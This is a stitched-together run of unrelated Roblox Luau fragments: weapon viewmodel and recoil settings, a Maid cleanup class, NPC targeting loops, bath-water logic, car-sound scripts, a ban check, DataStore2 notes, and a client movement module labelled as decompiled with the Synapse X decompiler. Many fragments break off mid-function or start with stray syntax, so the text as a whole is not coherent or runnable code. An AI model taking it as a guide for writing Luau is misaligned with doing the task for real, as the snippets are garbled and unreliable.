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-- Carregue a animação do ReplicatedStorage
local rp = game:GetService("ReplicatedStorage") local viewmodel = rp.Main.bracos.braco_usp viewmodel.Parent = workspace.Camera local idleAnimation = viewmodel.AnimSaves.idle
---------------------------------------------------------------------------------------------------- --------------------=[ CFRAME ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,EnableHolster = true ,HolsterTo = 'Torso' -- Put the name of the body part you wanna holster to ,HolsterPos = CFrame.new(1.2, -1, 0.1) * CFrame.Angles(math.rad(-110), math.rad(0), math.rad(0)) ,RightArmPos = CFrame.new(-0.575, 0.65, -1.185) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server ,LeftArmPos = CFrame.new(1.15,-0.1,-1.65) * CFrame.Angles(math.rad(-120),math.rad(20),math.rad(-25)) --server ,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) ,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0)) ,RightPos = CFrame.new(-0.3,.4, -.6) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Client ,LeftPos = CFrame.new(.3,-0.2,-1.35) * CFrame.Angles(math.rad(-130),math.rad(20),math.rad(10)) --Client } return Config
--// Body Parts
local L_11_ = L_2_:WaitForChild('Humanoid') local L_12_ = L_2_:WaitForChild('HumanoidRootPart') local L_13_ = L_2_:WaitForChild('Head')
-- Detect when prompt is triggered
local function onPromptTriggered(promptObject, player) ObjectActions.promptTriggeredActions(promptObject, player) end
--- Add a task to clean up. Tasks given to a maid will be cleaned when -- maid[index] is set to a different value. -- @usage -- Maid[key] = (function) Adds a task to perform -- Maid[key] = (event connection) Manages an event connection -- Maid[key] = (Maid) Maids can act as an event connection, allowing a Maid to have other maids to clean up. -- Maid[key] = (Object) Maids can cleanup objects with a `Destroy` method -- Maid[key] = nil Removes a named task. If the task is an event, it is disconnected. If it is an object, -- it is destroyed.
function Maid:__newindex(index, newTask) if Maid[index] ~= nil then error(("'%s' is reserved"):format(tostring(index)), 2) end local tasks = self._tasks local oldTask = tasks[index] if oldTask == newTask then return end tasks[index] = newTask if oldTask then if type(oldTask) == "function" then oldTask() elseif typeof(oldTask) == "RBXScriptConnection" then oldTask:Disconnect() elseif oldTask.Destroy then oldTask:Destroy() end end end
-- slash1
Attack(target,structureDamage) end wait(.3) end end else if not enRoute then wait(math.random(1,4)) if not target then ScanForPoint() end end end wait() end -- end of loop end) movementCoroutine() local scanCoroutine = coroutine.wrap(function() while task.wait(3) do local nearestPlayer,closestPlayerDist = nil,60 local nearestBuilding,closestBuildingDist = nil, 100 for _,player in next,game.Players:GetPlayers() do if player.Character and player.Character:IsDescendantOf(workspace) then local pos = player.Character.PrimaryPart.Position local dist = (root.Position-pos).magnitude if dist < closestPlayerDist then nearestPlayer = player closestPlayerDist = dist end end game:GetService("RunService").Heartbeat:wait() end local structures = _G.worldStructures for building,buildingData in next,structures do local dist = (building.PrimaryPart.Position-root.Position).magnitude if dist < closestBuildingDist then nearestBuilding = building closestBuildingDist = dist end game:GetService("RunService").Heartbeat:wait() end if nearestPlayer and nearestBuilding then
--------LIGHTED RECTANGLES--------
game.Workspace.pillar1.BrickColor = BrickColor.new(194) game.Workspace.pillar2.BrickColor = BrickColor.new(194) game.Workspace.pillar3.BrickColor = BrickColor.new(194) game.Workspace.pillar4.BrickColor = BrickColor.new(194) game.Workspace.pillar5.BrickColor = BrickColor.new(194) game.Workspace.pillar6.BrickColor = BrickColor.new(194) game.Workspace.pillar7.BrickColor = BrickColor.new(194) game.Workspace.pillar8.BrickColor = BrickColor.new(194)
--[[Tires]]-- -- Tire Curve Profiler: https://www.desmos.com/calculator/og4x1gyzng
Tune.TireCylinders = 4 -- How many cylinders are used for the tires. More means a smoother curve but way more parts meaning lag. (Default = 4) Tune.TiresVisible = false -- Makes the tires visible (Debug)
--[[ Event functions ]]
local function onHeartbeat() if target then -- Point towards the enemy maid.alignOrientation.Enabled = true maid.worldAttachment.CFrame = CFrame.new(maid.humanoidRootPart.Position, target.Position) else maid.alignOrientation.Enabled = false end if target then local inAttackRange = (target.Position - maid.humanoidRootPart.Position).magnitude <= ATTACK_RANGE + 1 if inAttackRange then if not attacking and tick() - lastAttackTime > ATTACK_DELAY then attack() end else runToTarget() end end -- Check if the current target no longer exists or is not attackable if not target or not isInstaceAttackable(target) then findTargets() end end local function died() target = nil attacking = false newTarget = nil searchParts = nil searchingForTargets = false maid.heartbeatConnection:Disconnect() maid.humanoidRootPart.Anchored = true maid.deathAnimation:Play() wait(maid.deathAnimation.Length * 0.65) maid.deathAnimation:Stop() maid.humanoidRootPart.Anchored = false if RAGDOLL_ENABLED then Ragdoll(maid.instance, maid.humanoid) end if DESTROY_ON_DEATH then delay(DEATH_DESTROY_DELAY, function() destroy() end) end end
--[[ Converts a yielding function into a Promise-returning one. ]]
function Promise.promisify(callback) return function(...) return Promise._try(debug.traceback(nil, 2), callback, ...) end end Promise.Promisify = Promise.promisify
----- Bath water level and temp handler -----
while true do if script.Parent.HotOn.Value == true and script.Parent.ColdOn.Value == true and script.Parent.Plugged.Value == true and water.Scale.Y <= 2.5 then -- if BOTH ON and PLUGGED water.Scale = water.Scale + Vector3.new(0,0.01,0) water.Offset = Vector3.new(0,water.Scale.Y/2,0) hotWater = hotWater + 1 coldWater = coldWater + 1 drainSound:Stop() elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == true and water.Scale.Y <= 2.5 then -- if ON and PLUGGED water.Scale = water.Scale + Vector3.new(0,0.01,0) water.Offset = Vector3.new(0,water.Scale.Y/2,0) if script.Parent.HotOn.Value == true then hotWater = hotWater + 1 else coldWater = coldWater + 1 end drainSound:Stop() elseif (script.Parent.HotOn.Value == true or script.Parent.ColdOn.Value == true) and script.Parent.Plugged.Value == false and water.Scale.Y <= 2.5 then -- if ON and NOT PLUGGED if script.Parent.HotOn.Value == true then coldWater = coldWater - 1 else hotWater = hotWater - 1 end drainSound:Stop() elseif (script.Parent.HotOn.Value == false and script.Parent.ColdOn.Value == false) and script.Parent.Plugged.Value == false and water.Scale.Y > 0 then -- if NOT ON and NOT PLUGGED water.Scale = water.Scale + Vector3.new(0,-0.01,0) water.Offset = Vector3.new(0,water.Scale.Y/2,0) coldWater = coldWater - 1 hotWater = hotWater - 1 drainSound:Play() end if coldWater < 1 then coldWater = 1 end if hotWater < 1 then hotWater = 1 end waterTemp = hotWater/coldWater if waterTemp > 1 then water.Parent.SteamEmitter.Enabled = true else water.Parent.SteamEmitter.Enabled = false end wait(0.1) if water.Scale.Y <= 0 then drainSound:Stop() end if (script.Parent.ColdOn.Value == true or script.Parent.HotOn.Value == true) and script.Parent.ShowerMode.Value == false then script.Parent.Splash.ParticleEmitter.Enabled = true else script.Parent.Splash.ParticleEmitter.Enabled = false end end
-- Adds verbose console logging for e.g. state updates, suspense, and work loop stuff. -- Intended to enable React core members to more easily debug scheduling issues in DEV builds.
exports.enableDebugTracing = false
--[[Manage Plugins]]
script.Parent.Interface:WaitForChild("Bike").Value=bike for i,v in pairs(script.Parent.Plugins:GetChildren()) do for _,a in pairs(v:GetChildren()) do if a:IsA("RemoteEvent") or a:IsA("RemoteFunction") then a.Parent=bike for _,b in pairs(a:GetChildren()) do if b:IsA("Script") then b.Disabled=false end end end end v.Parent = script.Parent.Interface end script.Parent.Plugins:Destroy()
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local FE = workspace.FilteringEnabled local car = script.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local on = 0 script:WaitForChild("Wheel") if not FE then for i,v in pairs(car.Body.WHEEL:GetChildren()) do for _,a in pairs(script:GetChildren()) do if v.Name==a.Name then v:Stop() wait() v:Destroy() end end end for i,v in pairs(script:GetChildren()) do v.Parent=car.Body.WHEEL end car.Body.WHEEL.Wheel:Play() while wait() do local _RPM = script.Parent.Values.RPM.Value if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end car.Body.WHEEL.Wheel.Pitch = (car.Body.WHEEL.Wheel.SetPitch.Value + car.Body.WHEEL.Wheel.SetRev.Value*_RPM/_Tune.Redline)*on^2 if _RPM == 700 then car.Body.WHEEL.Wheel.Volume = 0.1 end end else local handler = car.AC6_FE_Sounds handler:FireServer("newSound","Wheel",car.Body.WHEEL,script.Wheel.SoundId,0,script.Wheel.Volume,true) handler:FireServer("playSound","Wheel") local pitch4=0 while wait() do local _RPM = script.Parent.Values.RPM.Value if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end pitch4 = (script.Wheel.SetPitch.Value + script.Wheel.SetRev.Value*_RPM/_Tune.Redline)*on^2 handler:FireServer("updateSound","Wheel",script.idle.SoundId,pitch4,script.Wheel.Volume) end end
-- DefaultValue for spare ammo
local SpareAmmo = 800
-- Developer : AinStrqfe -- Developer : AinStrqfe -- Developer : AinStrqfe
--// Walk and Sway
local L_133_ local L_134_ = 0.6 local L_135_ = 0.05 -- speed local L_136_ = -0.1 -- height local L_137_ = 0 local L_138_ = 0 local L_139_ = 35 --This is the limit of the mouse input for the sway local L_140_ = -9 --This is the magnitude of the sway when you're unaimed local L_141_ = -9 --This is the magnitude of the sway when you're aimed
-- Decompiled with the Synapse X Luau decompiler.
local l__LocalPlayer__1 = game.Players.LocalPlayer; local v2 = {}; local l__LocalPlayer__3 = game.Players.LocalPlayer; local v4 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaDataModule")); v2.value = 250; v2.event = v4.event.Boosts; v4.event.Boosts.Event:connect(function(p1) if type(p1) == "number" then v2.value = p1; return; end; v2.value = 250; end); v2.value = v4.data.Boosts; return v2;
--// Connections
L_108_.OnClientEvent:connect(function(L_191_arg1, L_192_arg2, L_193_arg3, L_194_arg4, L_195_arg5, L_196_arg6, L_197_arg7) if L_191_arg1 and not L_15_ then MakeFakeArms() L_42_ = L_2_.PlayerGui.MainGui L_26_ = L_42_:WaitForChild('Others') L_27_ = L_26_:WaitForChild('Kill') L_28_ = L_42_:WaitForChild('GameGui'):WaitForChild('AmmoFrame') L_29_ = L_28_:WaitForChild('Ammo') L_30_ = L_28_:WaitForChild('AmmoBackground') L_31_ = L_28_:WaitForChild('MagCount') L_32_ = L_28_:WaitForChild('MagCountBackground') L_33_ = L_28_:WaitForChild('DistDisp') L_34_ = L_28_:WaitForChild('Title') L_35_ = L_28_:WaitForChild('Mode1') L_36_ = L_28_:WaitForChild('Mode2') L_37_ = L_28_:WaitForChild('Mode3') L_38_ = L_28_:WaitForChild('Mode4') L_39_ = L_28_:WaitForChild('Mode5') L_40_ = L_28_:WaitForChild('Stances') L_41_ = L_42_:WaitForChild('Shading') L_41_.Visible = false L_34_.Text = L_1_.Name UpdateAmmo() L_43_ = L_192_arg2 L_44_ = L_193_arg3 L_45_ = L_194_arg4 L_46_ = L_195_arg5 L_47_ = L_196_arg6 L_48_ = L_197_arg7 L_49_ = L_62_.Bolt L_87_ = L_48_.C1 L_88_ = L_48_.C0 if L_1_:FindFirstChild('AimPart2') then L_57_ = L_1_:WaitForChild('AimPart2') end if L_1_:FindFirstChild('FirePart2') then L_60_ = L_1_.FirePart2 end if L_24_.FirstPersonOnly then L_2_.CameraMode = Enum.CameraMode.LockFirstPerson end --uis.MouseIconEnabled = false L_5_.FieldOfView = 70 L_15_ = true elseif L_15_ then if L_3_ and L_3_.Humanoid and L_3_.Humanoid.Health > 0 and L_9_ then Stand() Unlean() end L_93_ = 0 L_80_ = false L_81_ = false L_82_ = false L_64_ = false L_67_ = false L_66_ = false Shooting = false L_97_ = 70 RemoveArmModel() L_42_:Destroy() for L_198_forvar1, L_199_forvar2 in pairs(IgnoreList) do if L_199_forvar2 ~= L_3_ and L_199_forvar2 ~= L_5_ and L_199_forvar2 ~= L_101_ then table.remove(IgnoreList, L_198_forvar1) end end if L_3_:FindFirstChild('Right Arm') and L_3_:FindFirstChild('Left Arm') then L_3_['Right Arm'].LocalTransparencyModifier = 0 L_3_['Left Arm'].LocalTransparencyModifier = 0 end L_78_ = false L_69_ = true L_2_.CameraMode = Enum.CameraMode.Classic L_107_.MouseIconEnabled = true L_5_.FieldOfView = 70 L_15_ = false L_107_.MouseDeltaSensitivity = L_52_ L_4_.Icon = "" L_15_ = false L_4_.TargetFilter = nil end end)
--Make sure players stay banned.
local DataStore = game:GetService("DataStoreService"):GetDataStore("motfAdminPanel") function checkBan(player) local Reason = DataStore:GetAsync(string.lower(player.Name)) if Reason == nil or Reason == 0 then return end wait(1) if Reason == 1 then player:Kick("You are banned") else player:Kick("You are banned for the following reason: " .. Reason) end end game.Players.PlayerAdded:connect(checkBan)
--redgreen -xmas
script.Parent.Color = randval2 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval1 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) mode9() end function mode10()
--print(GBCF(n.CFrame,v[1].p))
pcall(function() n.CFrame = GBCF(n.CFrame,v[1].p)*(v[1]-v[1].p) end) end end wait() end end Finished = Finished+1
-- Get the StarterGui
local StarterGui = game.StarterGui
-- API
local Core = require(Tool.Core) local Selection = Core.Selection
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 1 -- cooldown for use of the tool again BoneModelName = "Fork" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- A very simple module that only gives the included tools to people inside of the groupID. -- Just place the
local module = {} local function dostuff(p, core) --print("new player") local rank = core.getPlayerRank(p) --print(rank) if rank ~= 0 then p.CharacterAdded:Connect(function() --print("new char") for i, v in pairs(script:GetChildren()) do v:Clone().Parent = p.Backpack end end) -- for first spawn --print("first spawn") for i, v in pairs(script:GetChildren()) do v:Clone().Parent = p.Backpack end end end function module.loadServer(core) --print(core) game:GetService("Players").PlayerAdded:Connect(function(p) dostuff(p, core) end) for i, v in pairs(game:GetService("Players"):GetChildren()) do -- first load dostuff(v, core) end end return module
--//=================================\\ --|| FUNCTIONS --\\=================================//
function CreatePart(FORMFACTOR, PARENT, MATERIAL, REFLECTANCE, TRANSPARENCY, BRICKCOLOR, NAME, SIZE, ANCHOR) local NEWPART = IT("Part") NEWPART.formFactor = FORMFACTOR NEWPART.Reflectance = REFLECTANCE NEWPART.Transparency = TRANSPARENCY NEWPART.CanCollide = false NEWPART.Locked = true NEWPART.Anchored = true if ANCHOR == false then NEWPART.Anchored = false end NEWPART.BrickColor = BRICKC(tostring(BRICKCOLOR)) NEWPART.Name = NAME NEWPART.Size = SIZE NEWPART.Position = TORSO.Position NEWPART.Material = MATERIAL NEWPART:BreakJoints() NEWPART.Parent = PARENT return NEWPART end function Raycast(POSITION, DIRECTION, RANGE, IGNOREDECENDANTS) return workspace:FindPartOnRay(Ray.new(POSITION, DIRECTION.unit * RANGE), IGNOREDECENDANTS) end
--I M P O R T A N T-- ------------------------------------------------------------------------ --Don't change any of this unless you know what you are doing. --This script is the blur affect but also the exit button script. ------------------------------------------------------------------------
local blur = game.Lighting.Blur local frame = script.Parent local close = script.Parent.CloseButton if frame.Visible == true then blur.Enabled = true end close.MouseButton1Click:Connect(function() frame.Visible = false end) close.MouseButton1Click:Connect(function() blur.Enabled = false end)
--local Sprinting =false
local L_142_ = L_118_.new(Vector3.new()) L_142_.s = 15 L_142_.d = 0.5 game:GetService("UserInputService").InputChanged:connect(function(L_269_arg1) --Get the mouse delta for the gun sway if L_269_arg1.UserInputType == Enum.UserInputType.MouseMovement then L_137_ = math.min(math.max(L_269_arg1.Delta.x, -L_139_), L_139_) L_138_ = math.min(math.max(L_269_arg1.Delta.y, -L_139_), L_139_) end end) L_4_.Idle:connect(function() --Reset the sway to 0 when the mouse is still L_137_ = 0 L_138_ = 0 end) local L_143_ = false local L_144_ = CFrame.new() local L_145_ = CFrame.new() local L_146_ = 0 local L_147_ = CFrame.new() local L_148_ = 0.1 local L_149_ = 2 local L_150_ = 0 local L_151_ = .2 local L_152_ = 17 local L_153_ = 0 local L_154_ = 5 local L_155_ = .3 local L_156_, L_157_ = 0, 0 local L_158_ = nil local L_159_ = nil local L_160_ = nil L_3_.Humanoid.Running:connect(function(L_270_arg1) if L_270_arg1 > 1 then L_143_ = true else L_143_ = false end end)
--local GUI = script.LoadingScreen:Clone() --GUI.Parent = PlayerGui
-- Public Functions
function PlayerManager:SetGameRunning(running) GameRunning = running end function PlayerManager:ClearPlayerScores() for _, player in ipairs(Players:GetPlayers()) do local leaderstats = player:FindFirstChild('leaderstats') if leaderstats then local Captures = leaderstats:FindFirstChild('Captures') if Captures then Captures.Value = 0 end end end end function PlayerManager:LoadPlayers() for _, player in ipairs(Players:GetPlayers()) do player:LoadCharacter() end end function PlayerManager:AllowPlayerSpawn(allow) PlayersCanSpawn = allow end function PlayerManager:DestroyPlayers() for _, player in ipairs(Players:GetPlayers()) do player.Character:Destroy() for _, item in ipairs(player.Backpack:GetChildren()) do item:Destroy() end end ResetMouseIcon:FireAllClients() end function PlayerManager:AddPlayerScore(player, score) player.leaderstats.Captures.Value = player.leaderstats.Captures.Value + score local success, message = pcall(function() spawn(function() PointsService:AwardPoints(player.userId, score) end) end) end
--
TCS.OnIncomingMessage = function(Msg) if Msg.Metadata then local overrideProperties = Instance.new("TextChatMessageProperties") overrideProperties.Text = Msg.Text return overrideProperties else -- do nothing return nil end end
--[[ DataStore2: A wrapper for data stores that caches, saves player's data, and uses berezaa's method of saving data. Use require(1936396537) to have an updated version of DataStore2. DataStore2(dataStoreName, player) - Returns a DataStore2 DataStore DataStore2 DataStore: - Get([defaultValue]) - Set(value) - Update(updateFunc) - Increment(value, defaultValue) - BeforeInitialGet(modifier) - BeforeSave(modifier) - Save() - OnUpdate(callback) - BindToClose(callback) local coinStore = DataStore2("Coins", player) To give a player coins: coinStore:Increment(50) To get the current player's coins: coinStore:Get() --]]
--// Recoil Settings
gunrecoil = -0.3; -- How much the gun recoils backwards when not aiming camrecoil = 0.03; -- How much the camera flicks when not aiming AimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming AimCamRecoil = 0.01; -- How much the camera flicks when aiming Kickback = 3; -- Upward gun rotation when not aiming AimKickback = 2; -- Upward gun rotation when aiming
--[=[ Provide a variety of utility table operations @class Table ]=]
local Table = {}
--Loop For Making Rays For The Bullet's Trajectory
local fallOfShot = 4.75 for i = 1, 120 do local thisOffset = offset + Vector3.new(0, yOffset*(i-fallOfShot), 0) local travelRay = Ray.new(point1,thisOffset) local hit, position = workspace:FindPartOnRay(travelRay, parts.Parent) local distance = (position - point1).magnitude round.Size = Vector3.new(1.1, distance, 1.1) round.CFrame = CFrame.new(position, point1) * CFrame.new(0, 0, -distance/2) * CFrame.Angles(math.rad(90),0,0) round.Parent = workspace point1 = point1 + thisOffset if hit then round:remove() local e = Instance.new("Explosion") e.BlastRadius = 5 e.BlastPressure = 10 e.Position = position e.Parent = workspace e.DestroyJointRadiusPercent = 0 if hit and hit.Parent then if hit.Parent:FindFirstChild("Humanoid") then return hit.Parent.Humanoid elseif hit.Parent.Parent:FindFirstChild("Humanoid") then return hit.Parent.Parent.Humanoid elseif (hit.Parent.Name == "Hull") or (hit.Parent.Name == "Turret") or (hit.Parent.Name == "Gun") or (hit.Parent.Name == "Parts") then print("You Have Damaged a Vehicle") local HitSound = hit.Parent:findFirstChild("Pen"):Clone() HitSound.Parent = hit HitSound:Play() hit.Parent.Parent:findFirstChild("Damage").Value = hit.Parent.Parent:findFirstChild("Damage").Value - damage if hit.Parent.Parent:findFirstChild("Damage").Value<1 and hit.Parent.Parent:findFirstChild("Destroyed").Value == false then local DestroyScript = hit.Parent.Parent:findFirstChild("DestroyScript"):clone() DestroyScript.Parent = hit.Parent.Parent DestroyScript.Disabled = false print("Vehicle Disabled") end elseif hit.Name == "Left Arm" or hit.Name == "Left Leg" or hit.Name == "Right Arm" or hit.Name == "Right Leg" or hit.Name == "Torso" or hit.Name == "HumanoidRootPart" then hit.Parent:findFirstChild("Humanoid").Health = hit.Parent:findFirstChild("Humanoid").Health - damage print("Direct Hit a Player lmao") elseif hit.Parent.Name == "Face" then hit.Parent.Parent:findFirstChild("Humanoid").Health = hit.Parent.Parent:findFirstChild("Humanoid").Health - dealingdamage print("Direct Hit a Morph of a Player lmao") end end local players = game.Players:getChildren() for i = 1, #players do -- if players[i].TeamColor ~= script.Parent.Parent.Tank.Value then --if he's not an ally character = players[i].Character torso = character:findFirstChild'Torso' if character and torso then torsoPos = torso.Position origPos = round.Position local ray = Ray.new(origPos, torsoPos-origPos) local hit, position = game.Workspace:FindPartOnRayWithIgnoreList(ray,ignoreList) if hit then if hit.Parent == character then human = hit.Parent:findFirstChild("Humanoid") human2 = hit.Parent.Parent:findFirstChild("Humanoid") if human then distance = (position-origPos).magnitude
-- Tell owner to show footsteps
game.ReplicatedStorage.Interactions.Client.Perks.UseXRay:FireClient(script.Owner.Value)
-- Decompiled with the Synapse X Luau decompiler.
local v1 = {}; v1.__index = v1; local l__Players__2 = game:GetService("Players"); local l__RunService__3 = game:GetService("RunService"); local l__UserInputService__4 = game:GetService("UserInputService"); local l__Workspace__5 = game:GetService("Workspace"); local l__UserGameSettings__6 = UserSettings():GetService("UserGameSettings"); local l__VRService__7 = game:GetService("VRService"); local v8 = require(script:WaitForChild("Keyboard")); local v9 = require(script:WaitForChild("Gamepad")); local v10 = require(script:WaitForChild("DynamicThumbstick")); local v11, v12 = pcall(function() return UserSettings():IsUserFeatureEnabled("UserFlagEnableNewVRSystem"); end); local v13, v14 = pcall(function() return UserSettings():IsUserFeatureEnabled("UserMakeThumbstickDynamic"); end); local v15 = (v13 or v14) and v10 or require(script:WaitForChild("TouchThumbstick")); local v16 = require(script:WaitForChild("ClickToMoveController")); local u1 = require(script:WaitForChild("VehicleController")); local l__Value__2 = Enum.ContextActionPriority.Default.Value; function v1.new() local v17 = setmetatable({}, v1); v17.controllers = {}; v17.activeControlModule = nil; v17.activeController = nil; v17.touchJumpController = nil; v17.moveFunction = l__Players__2.LocalPlayer.Move; v17.humanoid = nil; v17.lastInputType = Enum.UserInputType.None; v17.humanoidSeatedConn = nil; v17.vehicleController = nil; v17.touchControlFrame = nil; v17.vehicleController = u1.new(l__Value__2); l__Players__2.LocalPlayer.CharacterAdded:Connect(function(p1) v17:OnCharacterAdded(p1); end); l__Players__2.LocalPlayer.CharacterRemoving:Connect(function(p2) v17:OnCharacterRemoving(p2); end); if l__Players__2.LocalPlayer.Character then v17:OnCharacterAdded(l__Players__2.LocalPlayer.Character); end; l__RunService__3:BindToRenderStep("ControlScriptRenderstep", Enum.RenderPriority.Input.Value, function(p3) v17:OnRenderStepped(p3); end); l__UserInputService__4.LastInputTypeChanged:Connect(function(p4) v17:OnLastInputTypeChanged(p4); end); l__UserGameSettings__6:GetPropertyChangedSignal("TouchMovementMode"):Connect(function() v17:OnTouchMovementModeChange(); end); l__Players__2.LocalPlayer:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function() v17:OnTouchMovementModeChange(); end); l__UserGameSettings__6:GetPropertyChangedSignal("ComputerMovementMode"):Connect(function() v17:OnComputerMovementModeChange(); end); l__Players__2.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function() v17:OnComputerMovementModeChange(); end); v17.playerGui = nil; v17.touchGui = nil; v17.playerGuiAddedConn = nil; l__UserInputService__4:GetPropertyChangedSignal("ModalEnabled"):Connect(function() v17:UpdateTouchGuiVisibility(); end); if not l__UserInputService__4.TouchEnabled then v17:OnLastInputTypeChanged(l__UserInputService__4:GetLastInputType()); return v17; end; v17.playerGui = l__Players__2.LocalPlayer:FindFirstChildOfClass("PlayerGui"); if not v17.playerGui then v17.playerGuiAddedConn = l__Players__2.LocalPlayer.ChildAdded:Connect(function(p5) if p5:IsA("PlayerGui") then v17.playerGui = p5; v17:CreateTouchGuiContainer(); v17.playerGuiAddedConn:Disconnect(); v17.playerGuiAddedConn = nil; v17:OnLastInputTypeChanged(l__UserInputService__4:GetLastInputType()); end; end); return v17; end; v17:CreateTouchGuiContainer(); v17:OnLastInputTypeChanged(l__UserInputService__4:GetLastInputType()); return v17; end; function v1.GetMoveVector(p6) if not p6.activeController then return Vector3.new(0, 0, 0); end; return p6.activeController:GetMoveVector(); end; function v1.GetActiveController(p7) return p7.activeController; end; function v1.EnableActiveControlModule(p8) if p8.activeControlModule == v16 then p8.activeController:Enable(true, l__Players__2.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.UserChoice, p8.touchJumpController); return; end; if not p8.touchControlFrame then p8.activeController:Enable(true); return; end; p8.activeController:Enable(true, p8.touchControlFrame); end; function v1.Enable(p9, p10) if not p9.activeController then return; end; if p10 == nil then p10 = true; end; if p10 then p9:EnableActiveControlModule(); return; end; p9:Disable(); end; function v1.Disable(p11) if p11.activeController then p11.activeController:Enable(false); if p11.moveFunction then p11.moveFunction(l__Players__2.LocalPlayer, Vector3.new(0, 0, 0), true); end; end; end; local u3 = { [Enum.UserInputType.Keyboard] = v8, [Enum.UserInputType.MouseButton1] = v8, [Enum.UserInputType.MouseButton2] = v8, [Enum.UserInputType.MouseButton3] = v8, [Enum.UserInputType.MouseWheel] = v8, [Enum.UserInputType.MouseMovement] = v8, [Enum.UserInputType.Gamepad1] = v9, [Enum.UserInputType.Gamepad2] = v9, [Enum.UserInputType.Gamepad3] = v9, [Enum.UserInputType.Gamepad4] = v9 }; local u4 = nil; local u5 = { [Enum.TouchMovementMode.DPad] = v10, [Enum.DevTouchMovementMode.DPad] = v10, [Enum.TouchMovementMode.Thumbpad] = v10, [Enum.DevTouchMovementMode.Thumbpad] = v10, [Enum.TouchMovementMode.Thumbstick] = v15, [Enum.DevTouchMovementMode.Thumbstick] = v15, [Enum.TouchMovementMode.DynamicThumbstick] = v10, [Enum.DevTouchMovementMode.DynamicThumbstick] = v10, [Enum.TouchMovementMode.ClickToMove] = v16, [Enum.DevTouchMovementMode.ClickToMove] = v16, [Enum.TouchMovementMode.Default] = v10, [Enum.ComputerMovementMode.Default] = v8, [Enum.ComputerMovementMode.KeyboardMouse] = v8, [Enum.DevComputerMovementMode.KeyboardMouse] = v8, [Enum.DevComputerMovementMode.Scriptable] = nil, [Enum.ComputerMovementMode.ClickToMove] = v16, [Enum.DevComputerMovementMode.ClickToMove] = v16 }; function v1.SelectComputerMovementModule(p12) if not l__UserInputService__4.KeyboardEnabled and not l__UserInputService__4.GamepadEnabled then return nil, false; end; local l__DevComputerMovementMode__18 = l__Players__2.LocalPlayer.DevComputerMovementMode; if l__DevComputerMovementMode__18 == Enum.DevComputerMovementMode.UserChoice then local v19 = u3[u4]; if l__UserGameSettings__6.ComputerMovementMode == Enum.ComputerMovementMode.ClickToMove and v19 == v8 then v19 = v16; end; else v19 = u5[l__DevComputerMovementMode__18]; if not v19 and l__DevComputerMovementMode__18 ~= Enum.DevComputerMovementMode.Scriptable then warn("No character control module is associated with DevComputerMovementMode ", l__DevComputerMovementMode__18); end; end; if v19 then return v19, true; end; if l__DevComputerMovementMode__18 == Enum.DevComputerMovementMode.Scriptable then return nil, true; end; return nil, false; end; function v1.SelectTouchModule(p13) if not l__UserInputService__4.TouchEnabled then return nil, false; end; local l__DevTouchMovementMode__20 = l__Players__2.LocalPlayer.DevTouchMovementMode; if l__DevTouchMovementMode__20 == Enum.DevTouchMovementMode.UserChoice then local v21 = u5[l__UserGameSettings__6.TouchMovementMode]; else if l__DevTouchMovementMode__20 == Enum.DevTouchMovementMode.Scriptable then return nil, true; end; v21 = u5[l__DevTouchMovementMode__20]; end; return v21, true; end; local u6 = v11 or v12; local function u7(p14, p15) local l__CurrentCamera__22 = l__Workspace__5.CurrentCamera; if not l__CurrentCamera__22 then return p15; end; if p14:GetState() == Enum.HumanoidStateType.Swimming then return l__CurrentCamera__22.CFrame:VectorToWorldSpace(p15); end; local v23 = l__CurrentCamera__22.CFrame; if l__VRService__7.VREnabled and u6 and p14.RootPart and (p14.RootPart.CFrame.Position - v23.Position).Magnitude < 3 then v23 = v23 * l__VRService__7:GetUserCFrame(Enum.UserCFrame.Head); end; local v24, v25, v26, v27, v28, v29, v30, v31, v32, v33, v34, v35 = v23:GetComponents(); if v32 < 1 and v32 > -1 then local v36 = v35; local v37 = v29; else v36 = v27; v37 = -v28 * math.sign(v32); end; local v38 = math.sqrt(v36 * v36 + v37 * v37); return Vector3.new((v36 * p15.x + v37 * p15.z) / v38, 0, (v36 * p15.z - v37 * p15.x) / v38); end; function v1.OnRenderStepped(p16, p17) if p16.activeController and p16.activeController.enabled and p16.humanoid then p16.activeController:OnRenderStepped(p17); local v39 = p16.activeController:GetMoveVector(); local v40 = p16.activeController:IsMoveVectorCameraRelative(); local v41 = p16:GetClickToMoveController(); if p16.activeController ~= v41 then if v39.magnitude > 0 then v41:CleanupPath(); else v41:OnRenderStepped(p17); v39 = v41:GetMoveVector(); v40 = v41:IsMoveVectorCameraRelative(); end; end; if p16.vehicleController then local v42, v43 = p16.vehicleController:Update(v39, v40, p16.activeControlModule == v9); v39 = v42; end; if v40 then v39 = u7(p16.humanoid, v39); end; p16.moveFunction(l__Players__2.LocalPlayer, v39, false); p16.humanoid.Jump = p16.activeController:GetIsJumping() or p16.touchJumpController and p16.touchJumpController:GetIsJumping(); end; end; function v1.OnHumanoidSeated(p18, p19, p20) if p19 then if p20 and p20:IsA("VehicleSeat") then if not p18.vehicleController then p18.vehicleController = p18.vehicleController.new(l__Value__2); end; p18.vehicleController:Enable(true, p20); return; end; elseif p18.vehicleController then p18.vehicleController:Enable(false, p20); end; end; 